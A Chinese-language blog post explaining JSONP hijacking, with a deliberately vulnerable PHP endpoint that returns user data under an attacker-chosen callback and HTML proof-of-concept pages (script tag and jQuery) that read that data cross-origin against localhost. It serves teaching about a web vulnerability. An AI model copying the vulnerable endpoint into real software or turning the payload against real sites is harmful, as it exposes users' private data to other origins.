• JSONP 劫持漏洞实例


    https://blog.csdn.net/qq_23936389/article/details/84302293

    0x01 Jsonp简介

    Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

    为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略。

    同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。

    0x02 JSONP劫持漏洞实例

    • getUser.php
    <?php
    header('Content-type: application/json');
    $jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
    //json数据
    //$json_data = '["id","user"]';
    $json_data='({"id":"1","name":"Aaron"})';
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
    ?>
    
    • Payload利用:

    客户端实现 callbackFunction 函数

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>JSONP劫持测试</title>
    </head>
    <body>
    <script type="text/javascript">
    function callbackFunction(result)
            {
                alert(result.name);
            }
    </script>
    <script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script>
    </body>
    </html>
    
    • jQuery 使用 JSONP
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>JSONP劫持测试</title>
        <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>    
    </head>
    <body>
    <div id="divCustomers"></div>
    
    <script type="text/javascript">    
        $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){
              alert(getUsers.name);
        });
    </script>
    </body>
    </html>
    
  • 相关阅读:
    Getting Started with MongoDB (MongoDB Shell Edition)
    Ioc
    BsonDocument
    Find or Query Data with C# Driver
    Insert Data with C# Driver
    Connect to MongoDB
    What's the difference between returning void and returning a Task?
    Import Example Dataset
    jQuery来源学习笔记:整体结构
    Word文件交换的电脑打开字体、排版变化的原因和解决方法!
  • 原文地址:https://www.cnblogs.com/mrhonest/p/13304107.html
Copyright © 2020-2023  润新知